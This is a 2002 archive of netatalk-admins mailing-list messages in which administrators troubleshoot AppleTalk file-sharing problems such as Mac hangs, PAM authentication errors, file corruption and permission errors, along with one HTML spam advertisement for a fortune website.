From: Richard Chamberlain <richard@geotek.co.uk>
Subject: mac crashes
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hello,

I upgraded our Suse 7.2 server using an rpm at ftp.suse.com to ver. 1.5

I wanted to try this version because our Mac users were having severe 
difficulties with aliases.

We haven't had any problems so far - so that's excellent.

Unfortunately we've got a whole new problem.

While using Eudora if you attach a file from a folders it hangs the mac 
completely. It would appear that this is worse whilst attaching files from 
larger folders.

Any ideas?

I've included the relevant bits of the log file:

an 23 11:09:40 servant afpd[7151]: ASIP session:548(2) from 
192.168.0.22:49184(0)
Jan 23 11:09:40 servant afpd[7151]: dhx login: quentin
Jan 23 11:09:40 servant afpd[7151]: uams_dhx_pam.c :PAM: PAM Success -- 
Success
Jan 23 11:09:40 servant afpd[7151]: uams_dhx_pam.c :PAM: PAM Auth OK!
Jan 23 11:09:40 servant afpd[7151]: login quentin (uid 501, gid 100)
Jan 23 11:09:40 servant afpd[7151]: using codepage directory: 
/etc/atalk/nls/maccode.iso8859-1
Jan 23 11:14:12 servant afpd[7151]: afp_alarm: child timed out
Jan 23 11:14:12 servant afpd[7151]: 150.87KB read, 517.07KB written
Jan 23 11:14:12 servant afpd[7151]: Connection terminated
Jan 23 11:14:12 servant afpd[31934]: server_child[1] 7151 exited 1

Thanks for any suggestions,

Richard


From netatalk.administrators-errors@umich.edu  Wed Jan 23 10:29:54 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA20477
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 Jan 2002 10:29:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA29458
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 Jan 2002 10:29:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA29440
	for netatalk.administrators-members@umich.edu; Wed, 23 Jan 2002 10:29:53 -0500 (EST)
Received: from 3w-smtp-ac.korea.com ([211.109.1.113])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA28905; Wed, 23 Jan 2002 10:29:33 -0500 (EST)
Received: from 3W-SMTP-AG.korea.com ([172.31.1.66]) by 3w-smtp-ac.korea.com with Microsoft SMTPSVC(5.0.2195.3651);
	 Wed, 23 Jan 2002 23:38:25 +0900
Received: from 3w-pop3-ah.korea.com ([211.109.1.18]) by 3W-SMTP-AG.korea.com with Microsoft SMTPSVC(5.0.2195.3651);
	 Wed, 23 Jan 2002 23:37:28 +0900
Received: from hotmail.com ([61.98.54.189]) by 211.109.1.18 with Trend Micro InterScan Messaging Security Suite for SMTP v5; Wed, 23 Jan 2002 19:08:00 +0900
Message-ID: <148953-22002132310626320@hotmail.com>
X-EM-Version: 6, 0, 1, 0
X-EM-Registration: #00F06206106618006920
X-Priority: 3
Reply-To: intchem@hotmail.com
To: "various" <intchem@hotmail.com>
From: "Kate" <intchem@hotmail.com>
Subject: It's not a fortune cookie, but science ...
Date: Wed, 23 Jan 2002 19:06:26 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative; 
	boundary="----=_NextPart_84815C5ABAF209EF376268C8"
X-OriginalArrivalTime: 23 Jan 2002 14:37:28.0356 (UTC) FILETIME=[7B589640:01C1A41B]

------=_NextPart_84815C5ABAF209EF376268C8
Content-type: text/plain; charset="windows-1252"



------=_NextPart_84815C5ABAF209EF376268C8
Content-Type: text/html; charset="windows-1252"
Content-Transfer-Encoding: quoted-printable

<!-- saved from url=3D(0022)http://internet=2Ee-mail -->
<!-- saved from url=3D(0022)http://internet=2Ee-mail --><html><head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html;charset=3D_autodete=
ct_kr">


<title>::::: Your Weekly Fortune is Here=2E ::::: 12ji=2Ecom :::::</title>=

<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Deuc-kr">=

<style type=3D"text/css">
<!--
td {  font-size:8pt; color: #666666; font-family: "Verdana"; line-height: =
10pt;}
a  {  font-size: 8pt; color: #666666; text-decoration:none; font-family: "=
Verdana"}
a:hover {  color: #ffcc00; text-decoration:underline;}
=2E=2E=2Etd {  font-size:10pt; color: #333333; font-family:"Verdana"; line=
-height: 10pt;}
=2E=2E=2Eaa {  font-family: "arial"; font-size: 8pt; color: #666666; font-=
weight: bold; line-height: 12pt}
=2E=2E=2Ebb {  font-family: "arial"; font-size: 9pt; color: #336699; font-=
weight: bold; line-height: 12pt}
=2E=2E=2Ecc {  font-family: "arial"; font-size: 11pt; color: #336699; font=
-weight: bold; line-height: 12pt}
=2E=2E=2Einput {  BACKGROUND-COLOR:#ffffff;  font-size:9pt; COLOR:#666666;=
 BORDER:1x SOLID #001452; }
=2E=2E=2Eoutline {  BACKGROUND-COLOR:#ffffff;  font-size:9pt; COLOR:#66666=
6; BORDER:1x SOLID #000000; }
=2E=2E=2Ecopyright {  font-size:7pt; color: #6699CC; font-family:"Verdana"=
; line-height: 8pt;}
-->
</style>
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#000000" leftmargin=3D"0" topmargin=3D"0=
" marginwidth=3D"0" marginheight=3D"0">
<br>
<table width=3D"600" border=3D"0" cellspacing=3D"0" cellpadding=3D"0" heig=
ht=3D"365" background=3D"http://12ji=2Ecom/images/l_bg02=2Egif" class=3D"o=
utline" align=3D"center">
  <tr>
    <td valign=3D"top">=20
      <table width=3D"600" border=3D"0" cellspacing=3D"0" cellpadding=3D"0=
" height=3D"365">
        <tr>=20
          <td width=3D"200" height=3D"78"><a href=3D"http://www=2E12ji=2Ec=
om" target=3D"_blank"><img src=3D"http://12ji=2Ecom/fortune/images/logo_to=
p02=2Egif" width=3D"200" height=3D"78" border=3D"0"></a></td>
          <td width=3D"400" height=3D"78" valign=3D"top"><a href=3D"http:/=
/12ji=2Ecom" target=3D"_blank"><img src=3D"http://12ji=2Ecom/fortune/image=
s/pic_top=2Egif" width=3D"120" height=3D"78" border=3D"0"></a></td>
        </tr>
        <tr>=20
          <td height=3D"238" width=3D"200"><a href=3D"http://12ji=2Ecom" t=
arget=3D"_blank"><img src=3D"http://12ji=2Ecom/fortune/images/pic02=2Egif"=
 width=3D"200" height=3D"238" border=3D"0"></a></td>
          <td height=3D"238" align=3D"center" valign=3D"top" width=3D"400"=
 background=3D"http://12ji=2Ecom/fortune/images/bg_pic01=2Egif">=20
            <p align=3D"center"><br>
              <br>
              <a href=3D"http://12ji=2Ecom" target=3D"_blank"><img src=3D"=
http://12ji=2Ecom/fortune/images/h=2Egif" width=3D"362" height=3D"26" bord=
er=3D"0"></a></p>
            <br>
            <table width=3D"250" border=3D"0" cellspacing=3D"0" cellpaddin=
g=3D"0">
              <tr>=20
                <td>=20
                  <p class=3D"td" > <img src=3D"http://12ji=2Ecom/fortune/=
images/dot02=2Egif" width=3D"12" height=3D"6">=20
                    FREE Weekly Fortune Delivery<br>
                    <br>
                    <img src=3D"http://12ji=2Ecom/fortune/images/dot02=2Eg=
if" width=3D"12" height=3D"6">=20
                    NEW Oriental Philosophy Service<br>
                    <br>
                    <img src=3D"http://12ji=2Ecom/fortune/images/dot02=2Eg=
if" width=3D"12" height=3D"6">=20
                    SIMPLE &amp; EASY Registration</p>
                </td>
              </tr>
            </table>
            <br>
            <br>
            <table width=3D"350" border=3D"0" cellspacing=3D"0" cellpaddin=
g=3D"0">
              <tr>=20
                <td height=3D"27">To learn more about 12ji, please visit <=
a href=3D"http://www=2E12ji=2Ecom" target=3D"_blank"><b><font color=3D"#00=
3366"><span class=3D"cc">www=2E12ji=2Ecom</span></font></b></a></td>
              </tr>
            </table>
          </td>
        </tr>
        <tr>=20
          <td width=3D"200">&nbsp;</td>
          <td width=3D"400" valign=3D"middle">=20
            <div align=3D"center" class=3D"copyright">=20
              <p><font color=3D"#8CBAE3"> If you would no longer like to r=
eceive=20
                our E-mail , please click <a href=3D"http://www=2E12ji=2Ec=
om/reject=2Ehtm" target=3D"_blank" class=3D"copyright"><font color=3D"#8CB=
AE3"> here</font></a>=2E=20
                <br>
                Copyright &copy;2001 12ji=2Ecom=2E All rights reserved=2E<=
/font><br>
                <br>
                </p>
            </div>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<br>
<table width=3D"468" border=3D"0" cellspacing=3D" 0" cellpadding=3D" 0" al=
ign=3D"center">
  <tr>=20
    <td><a href=3D"http://www=2Eual=2Ecom/" target=3D"_blank"><img src=3D"=
http://12ji=2Ecom/fortune/images/ua=2Egif" border=3D"0"></a></td>
  </tr>
</table>
</body>
</html>

------=_NextPart_84815C5ABAF209EF376268C8--


From netatalk.administrators-errors@umich.edu  Wed Jan 23 12:57:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA28769
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 Jan 2002 12:57:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA03640
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 Jan 2002 12:57:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA03619
	for netatalk.administrators-members@umich.edu; Wed, 23 Jan 2002 12:56:59 -0500 (EST)
Received: from harmony.cc.purdue.edu (harmony.cc.purdue.edu [128.210.135.186])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA03590
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 12:56:58 -0500 (EST)
Received: from harmony.cc.purdue.edu (localhost [127.0.0.1])
	by harmony.cc.purdue.edu (8.10.2+Sun/8.9.3) with ESMTP id g0NHuw121239
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 12:56:58 -0500 (EST)
Message-Id: <200201231756.g0NHuw121239@harmony.cc.purdue.edu>
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
To: netatalk-admins@umich.edu
Reply-To: sholmes@purdue.edu
Subject: pam_authenticate error
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 23 Jan 2002 12:56:57 -0500
From: Steve Holmes <sjh@harmony.cc.purdue.edu>

I am trying to get netatalk-1.5.1.1 to work on my Sol 8 Ultra. 

I have dug around enough to determine that it is calling pam_authenticate 
from pam_login. pam_authenticate is returning a code of 12 which means: 

#define PAM_AUTHINFO_UNAVAIL    12      /* Can not retrieve auth information */

Unfortunately I don't know what that means. 

I have run afppasswd and defined a password for myself on the Ultra. It is 
my desktop workstation, so I can definitely log in to it. It takes neither 
the password I use to log in directly nor the password I defined via 
afppasswd. 

My configure command looks like:

./configure --prefix=/opt/netatalk-1.5.0 --enable-debug --with-did=last --disable-ddp --with-ssl-dir=/usr/local/ssl

And the only uncommented line in the afpd.conf file is:

- -tpc -ipaddr 128.210.135.186 -noddp -uamlist uams_clrtxt.so

Of course I have tried several combinations of options both in the 
configure and in the .conf file. This is the combo that produced the above 
error. 

Any hints what could be wrong here?

Thanks,
Steve.


-- 
Steve Holmes		        \http://harmony.cc.purdue.edu/~sjh
Unix Systems Administrator       \Email:sholmes@purdue.edu
Purdue University Computing Center\
1408 Mathematics Building          \Phone: (765) 496-3325
West Lafayette IN 47907-1408        \




From netatalk.administrators-errors@umich.edu  Wed Jan 23 13:09:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA29501
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 Jan 2002 13:09:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA03161
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 Jan 2002 13:09:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA03147
	for netatalk.administrators-members@umich.edu; Wed, 23 Jan 2002 13:08:59 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA03104
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 13:08:58 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id TAA04436;
	Wed, 23 Jan 2002 19:34:04 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 23 Jan 2002 19:08:41 +0100
Subject: Re: pam_authenticate error
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <sholmes@purdue.edu>
CC: <netatalk-admins@umich.edu>
Message-ID: <B874BAB8.194B2%Thomas.Kaiser@phg-online.de>
In-Reply-To: <200201231756.g0NHuw121239@harmony.cc.purdue.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 23 Jan 2002 12:56:57 -0500, Steve Holmes wrote:

> And the only uncommented line in the afpd.conf file is:
> 
> - -tpc -ipaddr 128.210.135.186 -noddp -uamlist uams_clrtxt.so

Someone said in a newsgroup, that adding "-passwdfile ~/.passwd" might help
(the default seems not to be working?)

<http://groups.google.de/groups?selm=1f5hwto.wakfhi4ylke8N%25mocken%40physik
.uni-freiburg.de&rnum=1> (Sorry, posting in german)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Jan 23 13:22:06 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA00262
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 Jan 2002 13:22:06 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA01787
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 Jan 2002 13:22:06 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA01781
	for netatalk.administrators-members@umich.edu; Wed, 23 Jan 2002 13:22:06 -0500 (EST)
Received: from harmony.cc.purdue.edu (harmony.cc.purdue.edu [128.210.135.186])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA01765
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 13:22:05 -0500 (EST)
Received: from harmony.cc.purdue.edu (localhost [127.0.0.1])
	by harmony.cc.purdue.edu (8.10.2+Sun/8.9.3) with ESMTP id g0NIM0122835;
	Wed, 23 Jan 2002 13:22:00 -0500 (EST)
Message-Id: <200201231822.g0NIM0122835@harmony.cc.purdue.edu>
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: sholmes@purdue.edu, netatalk-admins@umich.edu
Reply-To: sholmes@purdue.edu
Subject: Re: pam_authenticate error 
In-reply-to: Your message of Wed, 23 Jan 2002 19:08:41 +0100.
             <B874BAB8.194B2%Thomas.Kaiser@phg-online.de> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 23 Jan 2002 13:21:59 -0500
From: Steve Holmes <sjh@harmony.cc.purdue.edu>

Thanks, but that didn't help.

Steve.

> On Wed, 23 Jan 2002 12:56:57 -0500, Steve Holmes wrote:
> 
> > And the only uncommented line in the afpd.conf file is:
> > 
> > - -tpc -ipaddr 128.210.135.186 -noddp -uamlist uams_clrtxt.so
> 
> Someone said in a newsgroup, that adding "-passwdfile ~/.passwd" might help
> (the default seems not to be working?)
> 
> <http://groups.google.de/groups?selm=1f5hwto.wakfhi4ylke8N%25mocken%40physik
> .uni-freiburg.de&rnum=1> (Sorry, posting in german)
> 
> Regards,
> 
> Thomas
> 

-- 
Steve Holmes		        \http://harmony.cc.purdue.edu/~sjh
Unix Systems Administrator       \Email:sholmes@purdue.edu
Purdue University Computing Center\
1408 Mathematics Building          \Phone: (765) 496-3325
West Lafayette IN 47907-1408        \



From netatalk.administrators-errors@umich.edu  Wed Jan 23 14:37:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA03313
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 Jan 2002 14:37:00 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA07910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 Jan 2002 14:37:00 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA07900
	for netatalk.administrators-members@umich.edu; Wed, 23 Jan 2002 14:37:00 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA07869
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 14:36:58 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Wed, 23 Jan 2002 14:36:59 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100302b874c04d5590@[192.168.42.39]>
In-Reply-To: <946811523gjermund@mac.com>
References: <946811523gjermund@mac.com>
Date: Wed, 23 Jan 2002 14:37:11 -0500
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: OS 8.6, error -43
Content-Type: text/plain; charset="us-ascii"

i have a client machine on my network running 8.6 (all the other machines are OS 9.x or X) that is having trouble saving files that he has opened over the network. the problem happens in a particularly old and buggy pieces of software which, unfortunately, is crucial to our operations. ain't it always that way?

anyhow, i recently recompiled netatalk 1.5 with "--with-did=cnid" as my previous installation with "--with-did=last" was giving errors all over the place with folders and files disappearing into the void.

those errors are gone now, but the -43 has taken its place.

does anybody know if updating this client machine to OS 9 will help anything, or if there is something else at play that might make things work equally well for everybody?

From netatalk.administrators-errors@umich.edu  Wed Jan 23 15:00:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA04428
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 Jan 2002 15:00:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA11180
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 Jan 2002 15:00:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA11153
	for netatalk.administrators-members@umich.edu; Wed, 23 Jan 2002 15:00:06 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA11111
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 15:00:04 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id VAA05005;
	Wed, 23 Jan 2002 21:25:23 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 23 Jan 2002 21:00:01 +0100
Subject: Re: Help setting up linux print server for macs
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Simon Dorfman <simon@simondorfman.com>,
        "netatalk admins umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B874D4D0.19507%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B8725712.23F7%simon@simondorfman.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 21 Jan 2002 23:38:58 -0600, Simon Dorfman wrote:

> How do I initiate Ghostscript?

This is discussed in detail on Werner Eugsters ApplePrint site. You need a
simple script or you let apsfilter do the work.

BTW: A good tutorial on ghostscript can be found here:
<http://www.pdflib.com/gsmanual/index.html>

> Do I use a utility like: http://www.apsfilter.org/  ?

If you print on your linux box different fileformats frequently, than this
might be a good idea.

> Does Suse have a utility like this already?  I looked in Yast2 and couldn't
> find anything.

If you create a new spooler (eg. with YaST 1) apsfilter will be invoked by
default, IIRC.

You should give webmin a try, as it reduces the steps for setting up a new
PS capable spooler dramatically...

> [...]
> I downloaded the PPD file for my printer.  Where should I put this file?

Somewhere

> How do I tell linux to use it?

You reference to it in your papd.conf. Details can be found in the recently
posted URLs.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Jan 23 21:44:18 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA24850
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 Jan 2002 21:44:18 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA08135
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 Jan 2002 21:44:18 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA08126
	for netatalk.administrators-members@umich.edu; Wed, 23 Jan 2002 21:44:17 -0500 (EST)
Received: from palle.girgensohn.se (c213-89-136-218.cm-upc.chello.se [213.89.136.218])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA08113
	for <netatalk-admins@umich.edu>; Wed, 23 Jan 2002 21:44:16 -0500 (EST)
Received: from palle.girgensohn.se (localhost [127.0.0.1])
	by palle.girgensohn.se (8.11.6/8.11.6) with ESMTP id g0O2iEc31015
	for <netatalk-admins@umich.edu>; Thu, 24 Jan 2002 03:44:15 +0100 (CET)
	(envelope-from girgen@partitur.se)
Date: Thu, 24 Jan 2002 03:44:14 +0100
From: Palle Girgensohn <girgen@partitur.se>
To: netatalk-admins@umich.edu
Subject: Word v.X documents get corrupted when saving to a netatalk volume
Message-ID: <76830000.1011840254@palle.girgensohn.se>
X-Mailer: Mulberry/2.1.2 (Linux/x86)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi!

Strange problem:

Mac OS X client, freshly installed Word v.X. I create a new document, type 
a few characters, save it to a netatalk mounted volume, so far so good. 
Now, I type some more characters and save again. Pop, and I get a lot of 
rubbish characters and line breaks in the documents. It seems, the process 
bar during the save stop at about 40% for too long to be ok, maybe five 
seconds or so. Then the corruption pops up.

It used to work fine with word98, even after the system was updated to Mac 
OS X.

I've tried all sort of configurations to netatalk, CNIDR, flock etc... 
Nothing helps. :(

We do use character translation for iso-latin:
/cluster1/arkiv Arkiv            codepage:maccode.iso8859-1

...and maybe the doc type, W8BN, is wrong, but it wouldn't corrupt the 
docs, would it, and besides, does OS X use it?  :

.doc "W8BN" "MSWD" Word Document Microsoft Word application/msword

Any ideas?

Best regards,
Palle Girgensohn


From netatalk.administrators-errors@umich.edu  Thu Jan 24 09:57:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA24546
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 24 Jan 2002 09:57:36 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA12423
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 24 Jan 2002 09:57:36 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA12414
	for netatalk.administrators-members@umich.edu; Thu, 24 Jan 2002 09:57:36 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA12394
	for <netatalk-admins@umich.edu>; Thu, 24 Jan 2002 09:57:35 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3
content-class: urn:content-classes:message
Subject: Access denied errors
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C1A4E7.74A03151"
Date: Thu, 24 Jan 2002 09:57:34 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D7508@ksvcmail.ksvc.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Access denied errors
Thread-Index: AcGk53NMCztUBe03TamuZ+Ud0njdSg==
From: "Brian Curtis" <Bcurtis@KSVC.com>
To: <netatalk-admins@umich.edu>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C1A4E7.74A03151
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

I know I have asked this question before, and I still can't seem to get
it right.  I would like to start from scratch.
=20
I have a share called Work in Progress, when I copy files directly onto
the share it works fine.  The problem comes when I drop folders or
anything of that nature it copies the folder and then I get a
permissions error.  I have the folders set up to Read, change and write
for everyone.  If I take the items from the folder and copy them at the
root of Work  In Progress the files copy fine, I can then take the files
and move them where I originally intended.
=20
Obviously my users aren't to impressed with this, do I need to expand
permissions somewhere else?  If so could I Have instructions.
=20
Thanks=20
=20
Brian Curtis
=20
IT Manager
Kelliher Samets Volk
Red-Wire
Action Research
212 Battery Street
Burlington, VT  05401
=20

------_=_NextPart_001_01C1A4E7.74A03151
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:st1=3D"urn:schemas-microsoft-com:office:smarttags" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DUS-ASCII">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C1A4BD.8A6ABDF0">
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"PostalCode"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"State"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"City"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"place"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"PersonName"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"Street"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"address"/>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]--><!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
